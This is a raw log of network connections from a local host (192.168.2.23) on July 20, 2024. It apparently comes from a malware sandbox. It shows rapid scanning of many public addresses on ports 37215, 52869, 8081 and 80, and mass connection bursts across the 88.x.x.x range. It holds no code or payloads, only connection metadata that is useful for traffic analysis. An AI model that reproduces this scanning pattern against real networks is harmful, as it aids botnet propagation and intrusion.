Jul 20, 2024 23:00:58.473187923 CEST	37215	50036	88.195.110.211	192.168.2.23
Jul 20, 2024 23:00:58.473231077 CEST	50036	37215	192.168.2.23	88.195.110.211
Jul 20, 2024 23:00:58.473714113 CEST	8081	43542	206.223.137.129	192.168.2.23
Jul 20, 2024 23:00:58.473756075 CEST	43542	8081	192.168.2.23	206.223.137.129
Jul 20, 2024 23:00:58.474299908 CEST	80	51146	95.174.246.108	192.168.2.23
Jul 20, 2024 23:00:58.474334002 CEST	59582	37215	192.168.2.23	41.138.150.155
Jul 20, 2024 23:00:58.474351883 CEST	51146	80	192.168.2.23	95.174.246.108
Jul 20, 2024 23:00:58.475044012 CEST	41456	8081	192.168.2.23	113.50.102.50
Jul 20, 2024 23:00:58.477058887 CEST	57358	52869	192.168.2.23	218.167.11.188
Jul 20, 2024 23:00:58.477123022 CEST	52869	51918	105.234.100.63	192.168.2.23
Jul 20, 2024 23:00:58.477195978 CEST	51918	52869	192.168.2.23	105.234.100.63
Jul 20, 2024 23:00:58.479614973 CEST	37215	59582	41.138.150.155	192.168.2.23
Jul 20, 2024 23:00:58.479652882 CEST	52098	80	192.168.2.23	95.141.113.27
Jul 20, 2024 23:00:58.479758024 CEST	34626	37215	192.168.2.23	41.160.207.169
Jul 20, 2024 23:00:58.479769945 CEST	59582	37215	192.168.2.23	41.138.150.155
Jul 20, 2024 23:00:58.480360031 CEST	8081	41456	113.50.102.50	192.168.2.23
Jul 20, 2024 23:00:58.480587006 CEST	41456	8081	192.168.2.23	113.50.102.50
Jul 20, 2024 23:00:58.480748892 CEST	45728	8081	192.168.2.23	151.107.112.214
Jul 20, 2024 23:00:58.482183933 CEST	52869	57358	218.167.11.188	192.168.2.23
Jul 20, 2024 23:00:58.482230902 CEST	57358	52869	192.168.2.23	218.167.11.188
Jul 20, 2024 23:00:58.483056068 CEST	53882	52869	192.168.2.23	136.74.174.143
Jul 20, 2024 23:00:58.484791040 CEST	80	52098	95.141.113.27	192.168.2.23
Jul 20, 2024 23:00:58.484843016 CEST	52098	80	192.168.2.23	95.141.113.27
Jul 20, 2024 23:00:58.484846115 CEST	37215	34626	41.160.207.169	192.168.2.23
Jul 20, 2024 23:00:58.484909058 CEST	34626	37215	192.168.2.23	41.160.207.169
Jul 20, 2024 23:00:58.485487938 CEST	34208	37215	192.168.2.23	157.121.143.8
Jul 20, 2024 23:00:58.486387014 CEST	8081	45728	151.107.112.214	192.168.2.23
Jul 20, 2024 23:00:58.486440897 CEST	45728	8081	192.168.2.23	151.107.112.214
Jul 20, 2024 23:00:58.487071991 CEST	59404	8081	192.168.2.23	135.134.34.28
Jul 20, 2024 23:00:58.488193989 CEST	52869	53882	136.74.174.143	192.168.2.23
Jul 20, 2024 23:00:58.488243103 CEST	53882	52869	192.168.2.23	136.74.174.143
Jul 20, 2024 23:00:58.489424944 CEST	33518	52869	192.168.2.23	27.130.132.139
Jul 20, 2024 23:00:58.490308046 CEST	49118	80	192.168.2.23	95.217.193.65
Jul 20, 2024 23:00:58.490607023 CEST	37215	34208	157.121.143.8	192.168.2.23
Jul 20, 2024 23:00:58.490655899 CEST	34208	37215	192.168.2.23	157.121.143.8
Jul 20, 2024 23:00:58.492034912 CEST	44596	37215	192.168.2.23	41.119.22.219
Jul 20, 2024 23:00:58.492243052 CEST	8081	59404	135.134.34.28	192.168.2.23
Jul 20, 2024 23:00:58.492297888 CEST	59404	8081	192.168.2.23	135.134.34.28
Jul 20, 2024 23:00:58.493099928 CEST	50832	8081	192.168.2.23	138.111.21.139
Jul 20, 2024 23:00:58.494509935 CEST	52869	33518	27.130.132.139	192.168.2.23
Jul 20, 2024 23:00:58.494559050 CEST	33518	52869	192.168.2.23	27.130.132.139
Jul 20, 2024 23:00:58.495505095 CEST	50834	52869	192.168.2.23	194.63.61.192
Jul 20, 2024 23:00:58.495732069 CEST	80	49118	95.217.193.65	192.168.2.23
Jul 20, 2024 23:00:58.495867968 CEST	49118	80	192.168.2.23	95.217.193.65
Jul 20, 2024 23:00:58.497136116 CEST	37215	44596	41.119.22.219	192.168.2.23
Jul 20, 2024 23:00:58.497390032 CEST	44596	37215	192.168.2.23	41.119.22.219
Jul 20, 2024 23:00:58.498265982 CEST	8081	50832	138.111.21.139	192.168.2.23
Jul 20, 2024 23:00:58.498640060 CEST	50832	8081	192.168.2.23	138.111.21.139
Jul 20, 2024 23:00:58.500464916 CEST	52869	50834	194.63.61.192	192.168.2.23
Jul 20, 2024 23:00:58.500716925 CEST	50834	52869	192.168.2.23	194.63.61.192
Jul 20, 2024 23:00:58.638375044 CEST	58288	8081	192.168.2.23	69.10.172.90
Jul 20, 2024 23:00:58.644788027 CEST	58398	37215	192.168.2.23	197.247.106.185
Jul 20, 2024 23:00:58.646135092 CEST	8081	58288	69.10.172.90	192.168.2.23
Jul 20, 2024 23:00:58.646208048 CEST	58288	8081	192.168.2.23	69.10.172.90
Jul 20, 2024 23:00:58.646250963 CEST	60098	80	192.168.2.23	95.60.18.245
Jul 20, 2024 23:00:58.646924973 CEST	37616	52869	192.168.2.23	137.195.128.162
Jul 20, 2024 23:00:58.649887085 CEST	37215	58398	197.247.106.185	192.168.2.23
Jul 20, 2024 23:00:58.651411057 CEST	80	60098	95.60.18.245	192.168.2.23
Jul 20, 2024 23:00:58.652204037 CEST	52869	37616	137.195.128.162	192.168.2.23
Jul 20, 2024 23:00:58.657089949 CEST	60098	80	192.168.2.23	95.60.18.245
Jul 20, 2024 23:00:58.657234907 CEST	58398	37215	192.168.2.23	197.247.106.185
Jul 20, 2024 23:00:58.662391901 CEST	34032	37215	192.168.2.23	197.67.179.143
Jul 20, 2024 23:00:58.663419008 CEST	37616	52869	192.168.2.23	137.195.128.162
Jul 20, 2024 23:00:58.663747072 CEST	47820	8081	192.168.2.23	144.111.168.245
Jul 20, 2024 23:00:58.665034056 CEST	49282	52869	192.168.2.23	70.239.61.12
Jul 20, 2024 23:00:58.666830063 CEST	43298	8081	192.168.2.23	212.52.36.237
Jul 20, 2024 23:00:58.667181015 CEST	60908	37215	192.168.2.23	41.96.218.16
Jul 20, 2024 23:00:58.667610884 CEST	37215	34032	197.67.179.143	192.168.2.23
Jul 20, 2024 23:00:58.667678118 CEST	34032	37215	192.168.2.23	197.67.179.143
Jul 20, 2024 23:00:58.668405056 CEST	44500	80	192.168.2.23	95.24.237.161
Jul 20, 2024 23:00:58.668937922 CEST	44404	52869	192.168.2.23	4.131.130.12
Jul 20, 2024 23:00:58.669044971 CEST	8081	47820	144.111.168.245	192.168.2.23
Jul 20, 2024 23:00:58.669090986 CEST	47820	8081	192.168.2.23	144.111.168.245
Jul 20, 2024 23:00:58.670286894 CEST	52869	49282	70.239.61.12	192.168.2.23
Jul 20, 2024 23:00:58.670356989 CEST	49282	52869	192.168.2.23	70.239.61.12
Jul 20, 2024 23:00:58.670964956 CEST	56072	37215	192.168.2.23	169.239.10.111
Jul 20, 2024 23:00:58.671577930 CEST	34944	8081	192.168.2.23	36.61.132.121
Jul 20, 2024 23:00:58.671778917 CEST	8081	43298	212.52.36.237	192.168.2.23
Jul 20, 2024 23:00:58.671824932 CEST	43298	8081	192.168.2.23	212.52.36.237
Jul 20, 2024 23:00:58.672106981 CEST	37215	60908	41.96.218.16	192.168.2.23
Jul 20, 2024 23:00:58.672144890 CEST	60908	37215	192.168.2.23	41.96.218.16
Jul 20, 2024 23:00:58.673156977 CEST	50626	52869	192.168.2.23	161.203.121.55
Jul 20, 2024 23:00:58.673311949 CEST	80	44500	95.24.237.161	192.168.2.23
Jul 20, 2024 23:00:58.673383951 CEST	44500	80	192.168.2.23	95.24.237.161
Jul 20, 2024 23:00:58.673894882 CEST	52869	44404	4.131.130.12	192.168.2.23
Jul 20, 2024 23:00:58.673938036 CEST	44404	52869	192.168.2.23	4.131.130.12
Jul 20, 2024 23:00:58.674833059 CEST	53926	8081	192.168.2.23	91.28.193.161
Jul 20, 2024 23:00:58.674876928 CEST	49226	37215	192.168.2.23	41.124.14.171
Jul 20, 2024 23:00:58.676173925 CEST	37956	80	192.168.2.23	95.158.172.2
Jul 20, 2024 23:00:58.676539898 CEST	37215	56072	169.239.10.111	192.168.2.23
Jul 20, 2024 23:00:58.676577091 CEST	56566	52869	192.168.2.23	113.34.69.120
Jul 20, 2024 23:00:58.676582098 CEST	56072	37215	192.168.2.23	169.239.10.111
Jul 20, 2024 23:00:58.677233934 CEST	8081	34944	36.61.132.121	192.168.2.23
Jul 20, 2024 23:00:58.677279949 CEST	34944	8081	192.168.2.23	36.61.132.121
Jul 20, 2024 23:00:58.678564072 CEST	35748	37215	192.168.2.23	197.112.222.157
Jul 20, 2024 23:00:58.678719997 CEST	52869	50626	161.203.121.55	192.168.2.23
Jul 20, 2024 23:00:58.678793907 CEST	50626	52869	192.168.2.23	161.203.121.55
Jul 20, 2024 23:00:58.679157972 CEST	32776	8081	192.168.2.23	186.49.44.43
Jul 20, 2024 23:00:58.679841042 CEST	8081	53926	91.28.193.161	192.168.2.23
Jul 20, 2024 23:00:58.679922104 CEST	37215	49226	41.124.14.171	192.168.2.23
Jul 20, 2024 23:00:58.679994106 CEST	49226	37215	192.168.2.23	41.124.14.171
Jul 20, 2024 23:00:58.680005074 CEST	53926	8081	192.168.2.23	91.28.193.161
Jul 20, 2024 23:00:58.681164980 CEST	36013	80	192.168.2.23	88.3.246.166
Jul 20, 2024 23:00:58.681169033 CEST	80	37956	95.158.172.2	192.168.2.23
Jul 20, 2024 23:00:58.681190014 CEST	36013	80	192.168.2.23	88.124.110.91
Jul 20, 2024 23:00:58.681325912 CEST	36013	80	192.168.2.23	88.68.59.143
Jul 20, 2024 23:00:58.681380033 CEST	37956	80	192.168.2.23	95.158.172.2
Jul 20, 2024 23:00:58.681384087 CEST	36013	80	192.168.2.23	88.31.210.222
Jul 20, 2024 23:00:58.681385994 CEST	36013	80	192.168.2.23	88.197.34.97
Jul 20, 2024 23:00:58.681407928 CEST	36013	80	192.168.2.23	88.168.15.70
Jul 20, 2024 23:00:58.681407928 CEST	36013	80	192.168.2.23	88.15.192.235
Jul 20, 2024 23:00:58.681555986 CEST	36013	80	192.168.2.23	88.208.11.159
Jul 20, 2024 23:00:58.681564093 CEST	36013	80	192.168.2.23	88.2.188.112
Jul 20, 2024 23:00:58.681564093 CEST	36013	80	192.168.2.23	88.135.1.62
Jul 20, 2024 23:00:58.681582928 CEST	36013	80	192.168.2.23	88.232.235.236
Jul 20, 2024 23:00:58.681698084 CEST	36013	80	192.168.2.23	88.38.237.102
Jul 20, 2024 23:00:58.681755066 CEST	36013	80	192.168.2.23	88.202.254.120
Jul 20, 2024 23:00:58.681945086 CEST	52869	56566	113.34.69.120	192.168.2.23
Jul 20, 2024 23:00:58.681972980 CEST	36013	80	192.168.2.23	88.72.232.59
Jul 20, 2024 23:00:58.682029963 CEST	36013	80	192.168.2.23	88.176.139.100
Jul 20, 2024 23:00:58.682029963 CEST	36013	80	192.168.2.23	88.250.195.181
Jul 20, 2024 23:00:58.682173967 CEST	36013	80	192.168.2.23	88.225.214.134
Jul 20, 2024 23:00:58.682173967 CEST	36013	80	192.168.2.23	88.127.124.189
Jul 20, 2024 23:00:58.682173967 CEST	36013	80	192.168.2.23	88.179.132.46
Jul 20, 2024 23:00:58.682173967 CEST	36013	80	192.168.2.23	88.11.70.93
Jul 20, 2024 23:00:58.682359934 CEST	36013	80	192.168.2.23	88.181.220.254
Jul 20, 2024 23:00:58.682693958 CEST	36013	80	192.168.2.23	88.153.179.70
Jul 20, 2024 23:00:58.682693958 CEST	36013	80	192.168.2.23	88.180.147.83
Jul 20, 2024 23:00:58.682694912 CEST	56566	52869	192.168.2.23	113.34.69.120
Jul 20, 2024 23:00:58.682694912 CEST	36013	80	192.168.2.23	88.153.34.9
Jul 20, 2024 23:00:58.682694912 CEST	36013	80	192.168.2.23	88.210.28.103
Jul 20, 2024 23:00:58.682694912 CEST	36013	80	192.168.2.23	88.111.194.254
Jul 20, 2024 23:00:58.682694912 CEST	36013	80	192.168.2.23	88.151.82.241
Jul 20, 2024 23:00:58.682694912 CEST	36013	80	192.168.2.23	88.198.204.87
Jul 20, 2024 23:00:58.682933092 CEST	36013	80	192.168.2.23	88.37.250.255
Jul 20, 2024 23:00:58.682933092 CEST	36013	80	192.168.2.23	88.122.140.236
Jul 20, 2024 23:00:58.682933092 CEST	36013	80	192.168.2.23	88.155.56.167
Jul 20, 2024 23:00:58.682933092 CEST	36013	80	192.168.2.23	88.155.58.50
Jul 20, 2024 23:00:58.682933092 CEST	36013	80	192.168.2.23	88.93.107.184
Jul 20, 2024 23:00:58.683079004 CEST	36013	80	192.168.2.23	88.21.172.30
Jul 20, 2024 23:00:58.683079004 CEST	36013	80	192.168.2.23	88.57.38.176
Jul 20, 2024 23:00:58.683079004 CEST	36013	80	192.168.2.23	88.35.165.7
Jul 20, 2024 23:00:58.683479071 CEST	36013	80	192.168.2.23	88.197.195.111
Jul 20, 2024 23:00:58.684192896 CEST	36013	80	192.168.2.23	88.192.183.80
Jul 20, 2024 23:00:58.684192896 CEST	36013	80	192.168.2.23	88.147.238.16
Jul 20, 2024 23:00:58.684192896 CEST	36013	80	192.168.2.23	88.151.51.17
Jul 20, 2024 23:00:58.684192896 CEST	36013	80	192.168.2.23	88.107.161.49
Jul 20, 2024 23:00:58.684192896 CEST	36013	80	192.168.2.23	88.111.200.171
Jul 20, 2024 23:00:58.684192896 CEST	36013	80	192.168.2.23	88.67.69.90
Jul 20, 2024 23:00:58.684192896 CEST	36013	80	192.168.2.23	88.75.236.52
Jul 20, 2024 23:00:58.684612036 CEST	36013	80	192.168.2.23	88.68.111.58
Jul 20, 2024 23:00:58.684612036 CEST	36013	80	192.168.2.23	88.85.67.186
Jul 20, 2024 23:00:58.684612036 CEST	36013	80	192.168.2.23	88.147.202.156
Jul 20, 2024 23:00:58.684612036 CEST	36013	80	192.168.2.23	88.131.232.227
Jul 20, 2024 23:00:58.684827089 CEST	36013	80	192.168.2.23	88.38.39.40
Jul 20, 2024 23:00:58.684827089 CEST	36013	80	192.168.2.23	88.115.119.101
Jul 20, 2024 23:00:58.684827089 CEST	36013	80	192.168.2.23	88.196.203.98
Jul 20, 2024 23:00:58.684827089 CEST	36013	80	192.168.2.23	88.79.240.59
Jul 20, 2024 23:00:58.684827089 CEST	36013	80	192.168.2.23	88.133.170.174
Jul 20, 2024 23:00:58.684827089 CEST	36013	80	192.168.2.23	88.226.61.98
Jul 20, 2024 23:00:58.684827089 CEST	36013	80	192.168.2.23	88.64.5.135
Jul 20, 2024 23:00:58.684827089 CEST	36013	80	192.168.2.23	88.74.117.107
Jul 20, 2024 23:00:58.685424089 CEST	37215	35748	197.112.222.157	192.168.2.23
Jul 20, 2024 23:00:58.685456038 CEST	8081	32776	186.49.44.43	192.168.2.23
Jul 20, 2024 23:00:58.685518980 CEST	36013	80	192.168.2.23	88.91.134.151
Jul 20, 2024 23:00:58.685518980 CEST	36013	80	192.168.2.23	88.67.181.95
Jul 20, 2024 23:00:58.685518980 CEST	36013	80	192.168.2.23	88.49.23.27
Jul 20, 2024 23:00:58.685518980 CEST	36013	80	192.168.2.23	88.98.94.247
Jul 20, 2024 23:00:58.685518980 CEST	36013	80	192.168.2.23	88.180.172.4
Jul 20, 2024 23:00:58.685518980 CEST	36013	80	192.168.2.23	88.243.59.246
Jul 20, 2024 23:00:58.685518980 CEST	36013	80	192.168.2.23	88.186.20.183
Jul 20, 2024 23:00:58.686019897 CEST	36013	80	192.168.2.23	88.71.36.106
Jul 20, 2024 23:00:58.686019897 CEST	36013	80	192.168.2.23	88.132.220.10
Jul 20, 2024 23:00:58.686019897 CEST	36013	80	192.168.2.23	88.215.7.128
Jul 20, 2024 23:00:58.686019897 CEST	36013	80	192.168.2.23	88.125.179.223
Jul 20, 2024 23:00:58.686019897 CEST	36013	80	192.168.2.23	88.12.177.234
Jul 20, 2024 23:00:58.686019897 CEST	36013	80	192.168.2.23	88.5.230.79
Jul 20, 2024 23:00:58.686019897 CEST	36013	80	192.168.2.23	88.96.142.144
Jul 20, 2024 23:00:58.686285973 CEST	80	36013	88.3.246.166	192.168.2.23
Jul 20, 2024 23:00:58.686434031 CEST	36013	80	192.168.2.23	88.192.84.137
Jul 20, 2024 23:00:58.686434031 CEST	36013	80	192.168.2.23	88.124.195.171
Jul 20, 2024 23:00:58.686434031 CEST	36013	80	192.168.2.23	88.173.190.36
Jul 20, 2024 23:00:58.686434031 CEST	36013	80	192.168.2.23	88.170.96.107
Jul 20, 2024 23:00:58.686434031 CEST	36013	80	192.168.2.23	88.80.167.151
Jul 20, 2024 23:00:58.686434031 CEST	36013	80	192.168.2.23	88.15.185.63
Jul 20, 2024 23:00:58.686434031 CEST	36013	80	192.168.2.23	88.48.203.220
Jul 20, 2024 23:00:58.686666965 CEST	80	36013	88.124.110.91	192.168.2.23
Jul 20, 2024 23:00:58.687520981 CEST	36013	80	192.168.2.23	88.237.245.121
Jul 20, 2024 23:00:58.687520981 CEST	36013	80	192.168.2.23	88.161.32.218
Jul 20, 2024 23:00:58.687520981 CEST	36013	80	192.168.2.23	88.7.201.206
Jul 20, 2024 23:00:58.687521935 CEST	36013	80	192.168.2.23	88.225.152.10
Jul 20, 2024 23:00:58.687521935 CEST	36013	80	192.168.2.23	88.108.43.52
Jul 20, 2024 23:00:58.687521935 CEST	36013	80	192.168.2.23	88.45.117.227
Jul 20, 2024 23:00:58.687521935 CEST	36013	80	192.168.2.23	88.255.197.31
Jul 20, 2024 23:00:58.689183950 CEST	36013	80	192.168.2.23	88.35.25.72
Jul 20, 2024 23:00:58.689183950 CEST	36013	80	192.168.2.23	88.89.20.166
Jul 20, 2024 23:00:58.689183950 CEST	36013	80	192.168.2.23	88.4.116.76
Jul 20, 2024 23:00:58.689183950 CEST	36013	80	192.168.2.23	88.237.146.158
Jul 20, 2024 23:00:58.689184904 CEST	36013	80	192.168.2.23	88.216.94.85
Jul 20, 2024 23:00:58.689184904 CEST	36013	80	192.168.2.23	88.110.19.157
Jul 20, 2024 23:00:58.689184904 CEST	36013	80	192.168.2.23	88.85.54.238
Jul 20, 2024 23:00:58.689184904 CEST	36013	80	192.168.2.23	88.98.143.128
Jul 20, 2024 23:00:58.690269947 CEST	36013	80	192.168.2.23	88.186.153.3
Jul 20, 2024 23:00:58.690269947 CEST	36013	80	192.168.2.23	88.201.185.48
Jul 20, 2024 23:00:58.690269947 CEST	36013	80	192.168.2.23	88.193.2.201
Jul 20, 2024 23:00:58.690269947 CEST	36013	80	192.168.2.23	88.160.164.32
Jul 20, 2024 23:00:58.690269947 CEST	36013	80	192.168.2.23	88.32.234.63
Jul 20, 2024 23:00:58.690269947 CEST	36013	80	192.168.2.23	88.126.153.153
Jul 20, 2024 23:00:58.690269947 CEST	36013	80	192.168.2.23	88.172.71.227
Jul 20, 2024 23:00:58.690269947 CEST	36013	80	192.168.2.23	88.222.7.141
Jul 20, 2024 23:00:58.690953016 CEST	80	36013	88.68.59.143	192.168.2.23
Jul 20, 2024 23:00:58.690999985 CEST	80	36013	88.168.15.70	192.168.2.23
Jul 20, 2024 23:00:58.691030979 CEST	80	36013	88.31.210.222	192.168.2.23
Jul 20, 2024 23:00:58.691097021 CEST	80	36013	88.208.11.159	192.168.2.23
Jul 20, 2024 23:00:58.691127062 CEST	80	36013	88.202.254.120	192.168.2.23
Jul 20, 2024 23:00:58.691157103 CEST	80	36013	88.38.237.102	192.168.2.23
Jul 20, 2024 23:00:58.691174030 CEST	36013	80	192.168.2.23	88.202.254.120
Jul 20, 2024 23:00:58.691186905 CEST	80	36013	88.72.232.59	192.168.2.23
Jul 20, 2024 23:00:58.691216946 CEST	80	36013	88.176.139.100	192.168.2.23
Jul 20, 2024 23:00:58.691246986 CEST	80	36013	88.232.235.236	192.168.2.23
Jul 20, 2024 23:00:58.691276073 CEST	80	36013	88.225.214.134	192.168.2.23
Jul 20, 2024 23:00:58.691308022 CEST	80	36013	88.250.195.181	192.168.2.23
Jul 20, 2024 23:00:58.691337109 CEST	80	36013	88.15.192.235	192.168.2.23
Jul 20, 2024 23:00:58.691365957 CEST	80	36013	88.153.179.70	192.168.2.23
Jul 20, 2024 23:00:58.691394091 CEST	80	36013	88.181.220.254	192.168.2.23
Jul 20, 2024 23:00:58.691422939 CEST	80	36013	88.37.250.255	192.168.2.23
Jul 20, 2024 23:00:58.691426039 CEST	36013	80	192.168.2.23	88.176.139.100
Jul 20, 2024 23:00:58.691426039 CEST	36013	80	192.168.2.23	88.250.195.181
Jul 20, 2024 23:00:58.691452026 CEST	80	36013	88.180.147.83	192.168.2.23
Jul 20, 2024 23:00:58.691482067 CEST	80	36013	88.127.124.189	192.168.2.23
Jul 20, 2024 23:00:58.691510916 CEST	80	36013	88.21.172.30	192.168.2.23
Jul 20, 2024 23:00:58.691540956 CEST	80	36013	88.122.140.236	192.168.2.23
Jul 20, 2024 23:00:58.691629887 CEST	80	36013	88.57.38.176	192.168.2.23
Jul 20, 2024 23:00:58.691659927 CEST	80	36013	88.179.132.46	192.168.2.23
Jul 20, 2024 23:00:58.691688061 CEST	80	36013	88.197.195.111	192.168.2.23
Jul 20, 2024 23:00:58.691716909 CEST	80	36013	88.192.183.80	192.168.2.23
Jul 20, 2024 23:00:58.691746950 CEST	80	36013	88.197.34.97	192.168.2.23
Jul 20, 2024 23:00:58.691776037 CEST	80	36013	88.155.56.167	192.168.2.23
Jul 20, 2024 23:00:58.691828966 CEST	80	36013	88.153.34.9	192.168.2.23
Jul 20, 2024 23:00:58.691859007 CEST	80	36013	88.147.238.16	192.168.2.23
Jul 20, 2024 23:00:58.691888094 CEST	80	36013	88.11.70.93	192.168.2.23
Jul 20, 2024 23:00:58.691916943 CEST	80	36013	88.38.39.40	192.168.2.23
Jul 20, 2024 23:00:58.691947937 CEST	80	36013	88.68.111.58	192.168.2.23
Jul 20, 2024 23:00:58.691977978 CEST	80	36013	88.151.51.17	192.168.2.23
Jul 20, 2024 23:00:58.692007065 CEST	80	36013	88.35.165.7	192.168.2.23
Jul 20, 2024 23:00:58.692034960 CEST	80	36013	88.155.58.50	192.168.2.23
Jul 20, 2024 23:00:58.692065954 CEST	80	36013	88.107.161.49	192.168.2.23
Jul 20, 2024 23:00:58.692095041 CEST	80	36013	88.93.107.184	192.168.2.23
Jul 20, 2024 23:00:58.692146063 CEST	80	36013	88.85.67.186	192.168.2.23
Jul 20, 2024 23:00:58.692174911 CEST	80	36013	88.192.84.137	192.168.2.23
Jul 20, 2024 23:00:58.692203999 CEST	80	36013	88.147.202.156	192.168.2.23
Jul 20, 2024 23:00:58.692233086 CEST	80	36013	88.124.195.171	192.168.2.23
Jul 20, 2024 23:00:58.692261934 CEST	80	36013	88.210.28.103	192.168.2.23
Jul 20, 2024 23:00:58.692461014 CEST	36013	80	192.168.2.23	88.244.0.71
Jul 20, 2024 23:00:58.692461967 CEST	36013	80	192.168.2.23	88.92.189.172
Jul 20, 2024 23:00:58.692461967 CEST	36013	80	192.168.2.23	88.136.19.137
Jul 20, 2024 23:00:58.692461967 CEST	32776	8081	192.168.2.23	186.49.44.43
Jul 20, 2024 23:00:58.692461967 CEST	36013	80	192.168.2.23	88.167.202.222
Jul 20, 2024 23:00:58.692461967 CEST	36013	80	192.168.2.23	88.141.78.143
Jul 20, 2024 23:00:58.692461967 CEST	36013	80	192.168.2.23	88.168.15.70
Jul 20, 2024 23:00:58.692671061 CEST	36013	80	192.168.2.23	88.187.219.155
Jul 20, 2024 23:00:58.692671061 CEST	36013	80	192.168.2.23	88.143.224.190
Jul 20, 2024 23:00:58.692671061 CEST	36013	80	192.168.2.23	88.248.55.67
Jul 20, 2024 23:00:58.692671061 CEST	36013	80	192.168.2.23	88.82.129.72
Jul 20, 2024 23:00:58.692671061 CEST	36013	80	192.168.2.23	88.99.241.193
Jul 20, 2024 23:00:58.692671061 CEST	36013	80	192.168.2.23	88.136.104.100
Jul 20, 2024 23:00:58.692671061 CEST	36013	80	192.168.2.23	88.50.217.61
Jul 20, 2024 23:00:58.692671061 CEST	36013	80	192.168.2.23	88.76.101.249
Jul 20, 2024 23:00:58.693013906 CEST	80	36013	88.115.119.101	192.168.2.23
Jul 20, 2024 23:00:58.693043947 CEST	80	36013	88.131.232.227	192.168.2.23
Jul 20, 2024 23:00:58.693072081 CEST	80	36013	88.173.190.36	192.168.2.23
Jul 20, 2024 23:00:58.693100929 CEST	80	36013	88.237.245.121	192.168.2.23
Jul 20, 2024 23:00:58.693121910 CEST	36013	80	192.168.2.23	88.37.250.255
Jul 20, 2024 23:00:58.693121910 CEST	36013	80	192.168.2.23	88.122.140.236
Jul 20, 2024 23:00:58.693121910 CEST	36013	80	192.168.2.23	88.155.56.167
Jul 20, 2024 23:00:58.693121910 CEST	36013	80	192.168.2.23	88.155.58.50
Jul 20, 2024 23:00:58.693121910 CEST	36013	80	192.168.2.23	88.93.107.184
Jul 20, 2024 23:00:58.693121910 CEST	36013	80	192.168.2.23	88.192.84.137
Jul 20, 2024 23:00:58.693121910 CEST	36013	80	192.168.2.23	88.124.195.171
Jul 20, 2024 23:00:58.693121910 CEST	36013	80	192.168.2.23	88.173.190.36
Jul 20, 2024 23:00:58.693152905 CEST	80	36013	88.170.96.107	192.168.2.23
Jul 20, 2024 23:00:58.693181992 CEST	80	36013	88.91.134.151	192.168.2.23
Jul 20, 2024 23:00:58.693209887 CEST	80	36013	88.111.194.254	192.168.2.23
Jul 20, 2024 23:00:58.693300962 CEST	36013	80	192.168.2.23	88.87.36.195
Jul 20, 2024 23:00:58.693300962 CEST	36013	80	192.168.2.23	88.208.11.159
Jul 20, 2024 23:00:58.693301916 CEST	36013	80	192.168.2.23	88.72.232.59
Jul 20, 2024 23:00:58.693301916 CEST	36013	80	192.168.2.23	88.181.220.254
Jul 20, 2024 23:00:58.693301916 CEST	36013	80	192.168.2.23	88.197.195.111
Jul 20, 2024 23:00:58.693301916 CEST	36013	80	192.168.2.23	88.68.111.58
Jul 20, 2024 23:00:58.693301916 CEST	36013	80	192.168.2.23	88.85.67.186
Jul 20, 2024 23:00:58.693301916 CEST	36013	80	192.168.2.23	88.147.202.156
Jul 20, 2024 23:00:58.693553925 CEST	80	36013	88.67.181.95	192.168.2.23
Jul 20, 2024 23:00:58.693583012 CEST	80	36013	88.151.82.241	192.168.2.23
Jul 20, 2024 23:00:58.693727970 CEST	36013	80	192.168.2.23	88.144.76.1
Jul 20, 2024 23:00:58.693727970 CEST	36013	80	192.168.2.23	88.139.130.123
Jul 20, 2024 23:00:58.693727970 CEST	36013	80	192.168.2.23	88.118.76.153
Jul 20, 2024 23:00:58.693727970 CEST	36013	80	192.168.2.23	88.206.7.82
Jul 20, 2024 23:00:58.693727970 CEST	36013	80	192.168.2.23	88.17.49.138
Jul 20, 2024 23:00:58.693727970 CEST	36013	80	192.168.2.23	88.31.44.75
Jul 20, 2024 23:00:58.693727970 CEST	36013	80	192.168.2.23	88.33.174.5
Jul 20, 2024 23:00:58.693727970 CEST	36013	80	192.168.2.23	88.130.103.237
Jul 20, 2024 23:00:58.693814039 CEST	36013	80	192.168.2.23	88.195.71.121
Jul 20, 2024 23:00:58.693814039 CEST	36013	80	192.168.2.23	88.83.89.228
Jul 20, 2024 23:00:58.693814039 CEST	36013	80	192.168.2.23	88.96.142.119
Jul 20, 2024 23:00:58.693814039 CEST	36013	80	192.168.2.23	88.146.49.221
Jul 20, 2024 23:00:58.693814039 CEST	36013	80	192.168.2.23	88.46.209.50
Jul 20, 2024 23:00:58.693814039 CEST	36013	80	192.168.2.23	88.11.49.180
Jul 20, 2024 23:00:58.693814039 CEST	36013	80	192.168.2.23	88.149.6.165
Jul 20, 2024 23:00:58.693825006 CEST	80	36013	88.80.167.151	192.168.2.23
Jul 20, 2024 23:00:58.693970919 CEST	80	36013	88.111.200.171	192.168.2.23
Jul 20, 2024 23:00:58.694432974 CEST	80	36013	88.71.36.106	192.168.2.23
Jul 20, 2024 23:00:58.694482088 CEST	80	36013	88.198.204.87	192.168.2.23
Jul 20, 2024 23:00:58.694525003 CEST	36013	80	192.168.2.23	88.82.144.83
Jul 20, 2024 23:00:58.694525957 CEST	80	36013	88.15.185.63	192.168.2.23
Jul 20, 2024 23:00:58.694525003 CEST	36013	80	192.168.2.23	88.27.227.1
Jul 20, 2024 23:00:58.694525003 CEST	36013	80	192.168.2.23	88.182.10.8
Jul 20, 2024 23:00:58.694525003 CEST	36013	80	192.168.2.23	88.211.106.219
Jul 20, 2024 23:00:58.694525003 CEST	36013	80	192.168.2.23	88.196.27.86
Jul 20, 2024 23:00:58.694525003 CEST	36013	80	192.168.2.23	88.232.235.236
Jul 20, 2024 23:00:58.694525003 CEST	36013	80	192.168.2.23	88.153.179.70
Jul 20, 2024 23:00:58.694525003 CEST	36013	80	192.168.2.23	88.180.147.83
Jul 20, 2024 23:00:58.694555998 CEST	80	36013	88.49.23.27	192.168.2.23
Jul 20, 2024 23:00:58.694684029 CEST	80	36013	88.132.220.10	192.168.2.23
Jul 20, 2024 23:00:58.694720030 CEST	80	36013	88.35.25.72	192.168.2.23
Jul 20, 2024 23:00:58.694775105 CEST	80	36013	88.48.203.220	192.168.2.23
Jul 20, 2024 23:00:58.694808960 CEST	80	36013	88.161.32.218	192.168.2.23
Jul 20, 2024 23:00:58.694907904 CEST	80	36013	88.215.7.128	192.168.2.23
Jul 20, 2024 23:00:58.695260048 CEST	80	36013	88.67.69.90	192.168.2.23
Jul 20, 2024 23:00:58.695292950 CEST	80	36013	88.196.203.98	192.168.2.23
Jul 20, 2024 23:00:58.695322037 CEST	80	36013	88.75.236.52	192.168.2.23
Jul 20, 2024 23:00:58.695373058 CEST	80	36013	88.98.94.247	192.168.2.23
